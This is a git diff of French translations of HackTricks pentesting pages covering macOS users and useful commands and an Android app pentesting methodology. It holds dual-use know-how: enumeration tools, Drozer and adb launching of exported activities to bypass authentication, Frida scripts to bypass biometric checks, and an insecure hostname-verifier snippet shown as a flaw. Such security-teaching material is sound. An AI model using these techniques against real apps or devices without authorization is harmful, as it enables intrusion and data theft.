_cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs +``` +- **Invité**: Compte pour les invités avec des permissions très strictes ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ``` - -- **Nobody**: Processes are executed with this user when minimal permissions are required +- **Nobody** : Les processus sont exécutés avec cet utilisateur lorsque des permissions minimales sont requises. - **Root** -## User Privileges +## Privilèges des utilisateurs -- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. -- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. -- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). - - For example root won't be able to place a file inside `/System` +- **Utilisateur standard** : L'utilisateur le plus basique. Cet utilisateur a besoin de permissions accordées par un utilisateur admin lorsqu'il tente d'installer des logiciels ou d'effectuer d'autres tâches avancées. Il ne peut pas le faire seul. +- **Utilisateur admin** : Un utilisateur qui opère la plupart du temps en tant qu'utilisateur standard mais qui est également autorisé à effectuer des actions root telles que l'installation de logiciels et d'autres tâches administratives. Tous les utilisateurs appartenant au groupe admin ont **accès à root via le fichier sudoers**. +- **Root** : Root est un utilisateur autorisé à effectuer presque n'importe quelle action (il existe des limitations imposées par des protections comme la Protection de l'intégrité du système). +- Par exemple, root ne pourra pas placer un fichier dans `/System`. -## External Accounts +## Comptes externes -MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\ -Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. +MacOS prend également en charge la connexion via des fournisseurs d'identité externes tels que FaceBook, Google... Le principal démon effectuant ce travail est `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) et il est possible de trouver des plugins utilisés pour l'authentification externe dans le dossier `/System/Library/Accounts/Authentication/`.\ +De plus, `accountsd` obtient la liste des types de comptes à partir de `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-useful-commands.md b/src/macos-hardening/macos-useful-commands.md index 53e6dc36e..47df05a3e 100644 --- a/src/macos-hardening/macos-useful-commands.md +++ b/src/macos-hardening/macos-useful-commands.md @@ -1,15 +1,14 @@ -# macOS Useful Commands +# Commandes utiles macOS {{#include ../banners/hacktricks-training.md}} -### MacOS Automatic Enumeration Tools +### Outils d'énumération automatique MacOS - **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) - **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) - **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) -### Specific MacOS Commands - +### Commandes spécifiques MacOS ```bash #System info date @@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh) sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh) #Start apache sudo apachectl (start|status|restart|stop) - ##Web folder: /Library/WebServer/Documents/ +##Web folder: /Library/WebServer/Documents/ #Remove DNS cache dscacheutil -flushcache sudo killall -HUP mDNSResponder ``` +### Logiciels et services installés -### Installed Software & Services - -Check for **suspicious** applications installed and **privileges** over the.installed resources: - +Vérifiez les applications **suspectes** installées et les **privilèges** sur les ressources installées : ``` system_profiler SPApplicationsDataType #Installed Apps system_profiler SPFrameworksDataType #Instaled framework lsappinfo list #Installed Apps launchctl list #Services ``` - -### User Processes - +### Processus Utilisateur ```bash # will print all the running services under that particular user domain. launchctl print gui/ @@ -140,10 +135,9 @@ launchctl print system # will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login launchctl print gui//com.company.launchagent.label ``` +### Créer un utilisateur -### Create a user - -Without prompts +Sans invites
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 92f30b34a..c160cc59f 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,21 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de Hacking en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières Annonces**\ -Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - ## Bases des Applications Android Il est fortement recommandé de commencer par lire cette page pour connaître les **parties les plus importantes liées à la sécurité Android et les composants les plus dangereux d'une application Android** : @@ -28,9 +13,9 @@ android-applications-basics.md ## ADB (Android Debug Bridge) C'est l'outil principal dont vous avez besoin pour vous connecter à un appareil Android (émulé ou physique).\ -**ADB** permet de contrôler les appareils soit par **USB** soit par **réseau** depuis un ordinateur. Cette utilité permet le **copiage** de fichiers dans les deux sens, **installation** et **désinstallation** d'applications, **exécution** de commandes shell, **sauvegarde** de données, **lecture** de journaux, entre autres fonctions. +**ADB** permet de contrôler les appareils soit via **USB** soit via **réseau** depuis un ordinateur. Cette utilité permet le **copiage** de fichiers dans les deux sens, **installation** et **désinstallation** d'applications, **exécution** de commandes shell, **sauvegarde** de données, **lecture** de journaux, entre autres fonctions. -Jetez un œil à la liste suivante de [**Commandes ADB**](adb-commands.md) pour apprendre à utiliser adb. +Consultez la liste suivante de [**Commandes ADB**](adb-commands.md) pour apprendre à utiliser adb. ## Smali @@ -67,7 +52,7 @@ Veuillez, [**lire ici pour trouver des informations sur les différents décompi ### Recherche d'informations intéressantes -En jetant un œil aux **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **UUIDs bluetooth**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administratifs codés en dur dans l'application). +En jetant simplement un œil aux **chaînes** de l'APK, vous pouvez rechercher des **mots de passe**, des **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), des clés **api**, des **chiffrements**, des **UUIDs bluetooth**, des **tokens** et tout ce qui est intéressant... cherchez même des **backdoors** d'exécution de code ou des backdoors d'authentification (identifiants administratifs codés en dur dans l'application). **Firebase** @@ -79,7 +64,7 @@ L'**examen des fichiers \_Manifest.xml**_\*\* et \*\*_**strings.xml**\_\*\* d'un Les **vulnérabilités** identifiées dans le **Manifest.xml** incluent : -- **Applications débogables** : Les applications définies comme débogables (`debuggable="true"`) dans le fichier _Manifest.xml_ posent un risque car elles permettent des connexions pouvant mener à une exploitation. Pour une compréhension plus approfondie sur la façon d'exploiter les applications débogables, référez-vous à un tutoriel sur la recherche et l'exploitation des applications débogables sur un appareil. +- **Applications débogables** : Les applications définies comme débogables (`debuggable="true"`) dans le fichier _Manifest.xml_ posent un risque car elles permettent des connexions qui peuvent mener à une exploitation. Pour une compréhension plus approfondie sur la façon d'exploiter les applications débogables, référez-vous à un tutoriel sur la recherche et l'exploitation des applications débogables sur un appareil. - **Paramètres de sauvegarde** : L'attribut `android:allowBackup="false"` doit être explicitement défini pour les applications traitant des informations sensibles afin d'empêcher les sauvegardes de données non autorisées via adb, surtout lorsque le débogage USB est activé. - **Sécurité réseau** : Les configurations de sécurité réseau personnalisées (`android:networkSecurityConfig="@xml/network_security_config"`) dans _res/xml/_ peuvent spécifier des détails de sécurité comme les certificats et les paramètres de trafic HTTP. Un exemple est de permettre le trafic HTTP pour des domaines spécifiques. - **Activités et services exportés** : Identifier les activités et services exportés dans le manifeste peut mettre en évidence des composants qui pourraient être mal utilisés. Une analyse plus approfondie lors des tests dynamiques peut révéler comment exploiter ces composants. @@ -119,7 +104,7 @@ Dans Android, les fichiers **stockés** dans le **stockage interne** sont **con 1. **Analyse statique :** - **Assurez-vous** que l'utilisation de `MODE_WORLD_READABLE` et `MODE_WORLD_WRITABLE` est **soigneusement examinée**. Ces modes **peuvent potentiellement exposer** des fichiers à un **accès non intentionnel ou non autorisé**. 2. **Analyse dynamique :** -- **Vérifiez** les **permissions** définies sur les fichiers créés par l'application. En particulier, **vérifiez** si des fichiers sont **définis comme lisibles ou modifiables par tous**. Cela peut poser un risque de sécurité significatif, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou modifier** ces fichiers. +- **Vérifiez** les **permissions** définies sur les fichiers créés par l'application. En particulier, **vérifiez** si des fichiers sont **définis comme lisibles ou modifiables dans le monde entier**. Cela peut poser un risque de sécurité significatif, car cela permettrait à **n'importe quelle application** installée sur l'appareil, quelle que soit son origine ou son intention, de **lire ou de modifier** ces fichiers. **Stockage externe** @@ -138,7 +123,7 @@ Lorsqu'il s'agit de fichiers sur le **stockage externe**, comme les cartes SD, c Le stockage externe peut être **accédé** dans `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` > [!NOTE] -> À partir d'Android 4.4 (**API 17**), la carte SD a une structure de répertoire qui **limite l'accès d'une application au répertoire spécifiquement destiné à cette application**. Cela empêche une application malveillante d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre application. +> À partir d'Android 4.4 (**API 17**), la carte SD a une structure de répertoire qui **limite l'accès d'une application au répertoire spécifiquement pour cette application**. Cela empêche une application malveillante d'obtenir un accès en lecture ou en écriture aux fichiers d'une autre application. **Données sensibles stockées en texte clair** @@ -154,7 +139,7 @@ Pour une raison quelconque, parfois les développeurs acceptent tous les certifi SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser le certificat CA de Burp sur l'appareil. De plus, vous pouvez générer avec Burp un certificat pour un nom d'hôte différent et l'utiliser. +Une bonne façon de tester cela est d'essayer de capturer le trafic en utilisant un proxy comme Burp sans autoriser Burp CA à l'intérieur de l'appareil. De plus, vous pouvez générer avec Burp un certificat pour un nom d'hôte différent et l'utiliser. ### Cryptographie cassée @@ -194,11 +179,11 @@ Lisez la page suivante pour apprendre comment accéder facilement au code C# des Selon ce [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacké est un algorithme Meta qui compresse le contenu d'une application en un seul fichier. Le blog parle de la possibilité de créer une application qui décompresse ce type d'applications... et d'une méthode plus rapide qui consiste à **exécuter l'application et à rassembler les fichiers décompressés à partir du système de fichiers.** -### Analyse statique de code automatisée +### Analyse statique automatisée du code L'outil [**mariana-trench**](https://github.com/facebook/mariana-trench) est capable de trouver des **vulnérabilités** en **scannant** le **code** de l'application. Cet outil contient une série de **sources connues** (qui indiquent à l'outil les **endroits** où l'**entrée** est **contrôlée par l'utilisateur**), des **puits** (qui indiquent à l'outil les **endroits dangereux** où une entrée malveillante pourrait causer des dommages) et des **règles**. Ces règles indiquent la **combinaison** de **sources-puits** qui indique une vulnérabilité. -Avec cette connaissance, **mariana-trench examinera le code et trouvera les vulnérabilités possibles.** +Avec cette connaissance, **mariana-trench examinera le code et trouvera d'éventuelles vulnérabilités.** ### Secrets divulgués @@ -225,30 +210,15 @@ content-protocol.md --- -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus du hacking**\ -Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking. - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel. - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme. - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui ! - --- ## Analyse dynamique -> Tout d'abord, vous avez besoin d'un environnement où vous pouvez installer l'application et tout l'environnement (certificat CA de Burp, Drozer et Frida principalement). Par conséquent, un appareil rooté (émulé ou non) est fortement recommandé. +> Tout d'abord, vous avez besoin d'un environnement où vous pouvez installer l'application et tout l'environnement (certificat Burp CA, Drozer et Frida principalement). Par conséquent, un appareil rooté (émulé ou non) est fortement recommandé. ### Analyse dynamique en ligne -Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme vous permet de **télécharger** et **d'exécuter** des APK, ce qui est utile pour voir comment un APK se comporte. +Vous pouvez créer un **compte gratuit** sur : [https://appetize.io/](https://appetize.io). Cette plateforme vous permet de **télécharger** et **d'exécuter** des APK, ce qui est utile pour voir comment un apk se comporte. Vous pouvez même **voir les journaux de votre application** sur le web et vous connecter via **adb**. @@ -267,7 +237,7 @@ Grâce à la connexion ADB, vous pouvez utiliser **Drozer** et **Frida** à l'in avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Édition personnelle, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC** _**VirtualBox** pour éviter des erreurs potentielles._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite :** Édition personnelle, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC** _ _**VirtualBox** pour éviter des erreurs potentielles._) - [**Nox**](https://es.bignox.com) (Gratuit, mais il ne prend pas en charge Frida ou Drozer). > [!NOTE] @@ -281,16 +251,16 @@ De plus, notez que dans la **configuration de la VM Android dans Genymotion**, v #### Utiliser un appareil physique -Vous devez activer les **options de débogage** et il serait bien si vous pouviez le **rooter** : +Vous devez activer les options de **débogage** et il serait bien si vous pouviez le **rooter** : 1. **Paramètres**. 2. (À partir d'Android 8.0) Sélectionnez **Système**. 3. Sélectionnez **À propos du téléphone**. 4. Appuyez sur **Numéro de build** 7 fois. -5. Revenez en arrière et vous trouverez les **Options de développement**. +5. Revenez en arrière et vous trouverez les **options de développement**. -> Une fois que vous avez installé l'application, la première chose que vous devriez faire est de l'essayer et d'enquêter sur ce qu'elle fait, comment elle fonctionne et vous y habituer.\ -> Je vous suggérerais de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique MobSF + pidcat**, afin que nous puissions **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez examiner plus tard. +> Une fois que vous avez installé l'application, la première chose à faire est de l'essayer et d'enquêter sur ce qu'elle fait, comment elle fonctionne et de vous y habituer.\ +> Je vous suggérerai de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique MobSF + pidcat**, afin que nous puissions **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pourrez examiner plus tard. ### Fuite de données non intentionnelle @@ -308,13 +278,13 @@ Le cadre **basé sur le presse-papiers** d'Android permet la fonctionnalité de **Journaux de plantage** -Si une application **plante** et **enregistre des journaux**, ces journaux peuvent aider les attaquants, en particulier lorsque l'application ne peut pas être inversée. Pour atténuer ce risque, évitez de journaliser lors des plantages, et si des journaux doivent être transmis sur le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour des raisons de sécurité. +Si une application **plante** et **enregistre des journaux**, ces journaux peuvent aider les attaquants, en particulier lorsque l'application ne peut pas être inversée. Pour atténuer ce risque, évitez de journaliser lors des plantages, et si des journaux doivent être transmis sur le réseau, assurez-vous qu'ils sont envoyés via un canal SSL pour la sécurité. En tant que pentester, **essayez de jeter un œil à ces journaux**. **Données analytiques envoyées à des tiers** -Les applications intègrent souvent des services comme Google Adsense, ce qui peut involontairement **fuir des données sensibles** en raison d'une mise en œuvre incorrecte par les développeurs. Pour identifier les fuites de données potentielles, il est conseillé de **intercepter le trafic de l'application** et de vérifier toute information sensible envoyée à des services tiers. +Les applications intègrent souvent des services comme Google Adsense, ce qui peut involontairement **fuir des données sensibles** en raison d'une mauvaise mise en œuvre par les développeurs. Pour identifier d'éventuelles fuites de données, il est conseillé de **intercepter le trafic de l'application** et de vérifier toute information sensible envoyée à des services tiers. ### Bases de données SQLite @@ -328,7 +298,23 @@ Si la base de données enregistre des informations confidentielles et est **cryp ### Drozer (Exploitation des activités exportées, des fournisseurs de contenu et des services) D'après [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf) : **Drozer** vous permet d'**assumer le rôle d'une application Android** et d'interagir avec d'autres applications. Il peut faire **tout ce qu'une application installée peut faire**, comme utiliser le mécanisme de communication inter-processus (IPC) d'Android et interagir avec le système d'exploitation sous-jacent.\ -Drozer est un outil utile pour **exploiter les activités exportées, les services exportés et les fournisseurs +Drozer est un outil utile pour **exploiter les activités exportées, les services exportés et les fournisseurs de contenu** comme vous l'apprendrez dans les sections suivantes. + +### Exploitation des activités exportées + +[**Lisez ceci si vous voulez rafraîchir ce qu'est une activité Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +Rappelez-vous également que le code d'une activité commence dans la méthode **`onCreate`**. + +**Contournement de l'autorisation** + +Lorsqu'une activité est exportée, vous pouvez invoquer son écran depuis une application externe. Par conséquent, si une activité contenant des **informations sensibles** est **exportée**, vous pourriez **contourner** les mécanismes **d'authentification** **pour y accéder.** + +[**Apprenez comment exploiter les activités exportées avec Drozer.**](drozer-tutorial/#activities) + +Vous pouvez également démarrer une activité exportée depuis adb : + +- PackageName est com.example.demo +- Exported ActivityName est com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` @@ -343,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity #### Tapjacking -Si le tapjacking n'est pas prévenu, vous pourriez abuser de l'activité exportée pour faire en sorte que l'**utilisateur effectue des actions inattendues**. Pour plus d'informations sur [**ce qu'est le Tapjacking, suivez le lien**](./#tapjacking). +Si le tapjacking n'est pas prévenu, vous pourriez abuser de l'activité exportée pour faire en sorte que l'**utilisateur effectue des actions inattendues**. Pour plus d'infos sur [**ce qu'est le Tapjacking, suivez le lien**](./#tapjacking). ### Exploitation des Content Providers - Accéder et manipuler des informations sensibles @@ -357,7 +343,7 @@ Les content providers sont essentiellement utilisés pour **partager des donnée [**Lisez ceci si vous voulez rafraîchir ce qu'est un Service.**](android-applications-basics.md#services)\ Rappelez-vous que les actions d'un Service commencent dans la méthode `onStartCommand`. -Un service est essentiellement quelque chose qui **peut recevoir des données**, **les traiter** et **renvoyer** (ou non) une réponse. Ensuite, si une application exporte certains services, vous devriez **vérifier** le **code** pour comprendre ce qu'il fait et **le tester** **dynamiquement** pour extraire des informations confidentielles, contourner des mesures d'authentification...\ +Un service est essentiellement quelque chose qui **peut recevoir des données**, **les traiter** et **renvoyer** (ou non) une réponse. Donc, si une application exporte certains services, vous devriez **vérifier** le **code** pour comprendre ce qu'il fait et **le tester** **dynamiquement** pour extraire des informations confidentielles, contourner des mesures d'authentification...\ [**Apprenez à exploiter les Services avec Drozer.**](drozer-tutorial/#services) ### **Exploitation des Broadcast Receivers** @@ -438,7 +424,7 @@ Il est également important de rechercher des vulnérabilités web courantes au ### Frida [Frida](https://www.frida.re) est un outil d'instrumentation dynamique pour les développeurs, les ingénieurs en rétro-ingénierie et les chercheurs en sécurité.\ -**Vous pouvez accéder à l'application en cours d'exécution et accrocher des méthodes en temps réel pour changer le comportement, changer des valeurs, extraire des valeurs, exécuter un code différent...**\ +**Vous pouvez accéder à l'application en cours d'exécution et accrocher des méthodes en temps réel pour changer le comportement, changer des valeurs, extraire des valeurs, exécuter différents codes...**\ Si vous souhaitez effectuer un pentesting sur des applications Android, vous devez savoir comment utiliser Frida. - Apprenez à utiliser Frida : [**Tutoriel Frida**](frida-tutorial/) @@ -447,7 +433,7 @@ Si vous souhaitez effectuer un pentesting sur des applications Android, vous dev - Vous pouvez trouver des scripts Frida intéressants ici : [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Essayez de contourner les mécanismes anti-debugging / anti-frida en chargeant Frida comme indiqué dans [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (outil [linjector](https://github.com/erfur/linjector-rs)) -### **Dump de mémoire - Fridump** +### **Dump Mémoire - Fridump** Vérifiez si l'application stocke des informations sensibles dans la mémoire qu'elle ne devrait pas stocker, comme des mots de passe ou des mnémoniques. @@ -474,7 +460,7 @@ Pour accéder aux données à l'intérieur du keystore, vous pouvez utiliser ce ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` -### **Contour/Contournement Biométrique** +### **Contour/Contournement des Biométriques** En utilisant le script Frida suivant, il pourrait être possible de **contourner l'authentification par empreinte digitale** que les applications Android pourraient effectuer afin de **protéger certaines zones sensibles :** ```bash @@ -516,26 +502,11 @@ Vous connaissez probablement ce type de vulnérabilités sur le Web. Vous devez - **Injection SQL :** Lors de la gestion de requêtes dynamiques ou de Content-Providers, assurez-vous d'utiliser des requêtes paramétrées. - **Injection JavaScript (XSS) :** Vérifiez que le support JavaScript et Plugin est désactivé pour tous les WebViews (désactivé par défaut). [Plus d'infos ici](webview-attacks.md#javascript-enabled). - **Inclusion de Fichiers Locaux :** Les WebViews ne devraient pas avoir accès au système de fichiers (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'infos ici](webview-attacks.md#javascript-enabled). -- **Cookies éternels :** Dans plusieurs cas, lorsque l'application android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque. +- **Cookies éternels** : Dans plusieurs cas, lorsque l'application android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque. - [**Drapeau Sécurisé** dans les cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags) --- -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus de Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking. - -**Actualités de Hacking en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel. - -**Dernières Annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme. - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui ! - ## Analyse Automatique ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) @@ -563,14 +534,14 @@ L'**analyseur dynamique MobSF** peut : - Capturer le **trafic HTTPS** - Utiliser **Frida** pour obtenir des **informations d'exécution** -À partir des versions **Android > 5**, il **démarrera automatiquement Frida** et définira les paramètres de **proxy** globaux pour **capturer** le trafic. Il ne capturera que le trafic de l'application testée. +À partir des versions Android **> 5**, il **démarrera automatiquement Frida** et définira les paramètres de **proxy** globaux pour **capturer** le trafic. Il ne capturera que le trafic de l'application testée. **Frida** Par défaut, il utilisera également certains scripts Frida pour **contourner le SSL pinning**, **la détection de root** et **la détection de débogueur** et pour **surveiller des API intéressantes**.\ MobSF peut également **invoquer des activités exportées**, prendre des **captures d'écran** de celles-ci et **les enregistrer** pour le rapport. -Pour **démarrer** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les journaux générés par les scripts Frida et sur "**Live API Monitor**" pour voir toutes les invocations aux méthodes accrochées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\ +Pour **démarrer** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les journaux générés par les scripts Frida et "**Live API Monitor**" pour voir toutes les invocations aux méthodes accrochées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\ MobSF vous permet également de charger vos propres **scripts Frida** (pour envoyer les résultats de vos scripts Frida à MobSF, utilisez la fonction `send()`). Il dispose également de **plusieurs scripts pré-écrits** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il suffit de **les sélectionner**, d'appuyer sur "**Load**" et d'appuyer sur "**Start Instrumentation**" (vous pourrez voir les journaux de ces scripts dans "**Frida Live Logs**"). ![](<../../images/image (419).png>) @@ -602,7 +573,7 @@ receivers Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur "**HTTP(S) Traffic**" en bas ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\ Pour ce faire, _allumez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools, sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzzer les requêtes http** et rechercher des vulnérabilités. +Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzz les requêtes http** et rechercher des vulnérabilités. > [!NOTE] > Après avoir effectué une analyse dynamique avec MobSF, les paramètres du proxy peuvent être mal configurés et vous ne pourrez pas les corriger depuis l'interface graphique. Vous pouvez corriger les paramètres du proxy en faisant : @@ -660,7 +631,7 @@ StaCoAn est un outil **multiplateforme** qui aide les développeurs, les chasseu Le concept est que vous faites glisser et déposer votre fichier d'application mobile (un fichier .apk ou .ipa) sur l'application StaCoAn et elle générera un rapport visuel et portable pour vous. Vous pouvez ajuster les paramètres et les listes de mots pour obtenir une expérience personnalisée. -Télécharger[ dernière version](https://github.com/vincentcox/StaCoAn/releases): +Télécharger [dernière version](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` @@ -707,7 +678,7 @@ Notez qu'en fonction du service et de la configuration que vous utilisez pour ob ### [ProGuard]() -De [Wikipedia](): **ProGuard** est un outil en ligne de commande open source qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et de supprimer les instructions inutilisées. ProGuard est un logiciel libre et est distribué sous la licence publique générale GNU, version 2. +D'après [Wikipedia](): **ProGuard** est un outil en ligne de commande open source qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et de supprimer les instructions inutilisées. ProGuard est un logiciel libre et est distribué sous la licence publique générale GNU, version 2. ProGuard est distribué dans le cadre du SDK Android et s'exécute lors de la construction de l'application en mode release. @@ -715,11 +686,11 @@ ProGuard est distribué dans le cadre du SDK Android et s'exécute lors de la co Trouvez un guide étape par étape pour déobfusquer l'apk dans [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(De ce guide) La dernière fois que nous avons vérifié, le mode de fonctionnement de Dexguard était : +(D'après ce guide) La dernière fois que nous avons vérifié, le mode de fonctionnement de Dexguard était : - charger une ressource en tant qu'InputStream ; - alimenter le résultat à une classe héritant de FilterInputStream pour le déchiffrer ; -- faire une obfuscation inutile pour faire perdre quelques minutes à un reverseur ; +- faire une obfuscation inutile pour faire perdre quelques minutes de temps à un reverseur ; - alimenter le résultat déchiffré à un ZipInputStream pour obtenir un fichier DEX ; - enfin, charger le DEX résultant en tant que ressource en utilisant la méthode `loadDex`. @@ -729,6 +700,10 @@ Trouvez un guide étape par étape pour déobfusquer l'apk dans [https://blog.le Vous pouvez télécharger un APK obfusqué sur leur plateforme. +### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) + +C'est un outil LLM pour trouver d'éventuelles vulnérabilités de sécurité dans les applications android et déobfusquer le code des applications android. Utilise l'API publique Gemini de Google. + ### [Simplify](https://github.com/CalebFenton/simplify) C'est un **déobfuscateur android générique.** Simplify **exécute virtuellement une application** pour comprendre son comportement et ensuite **essaie 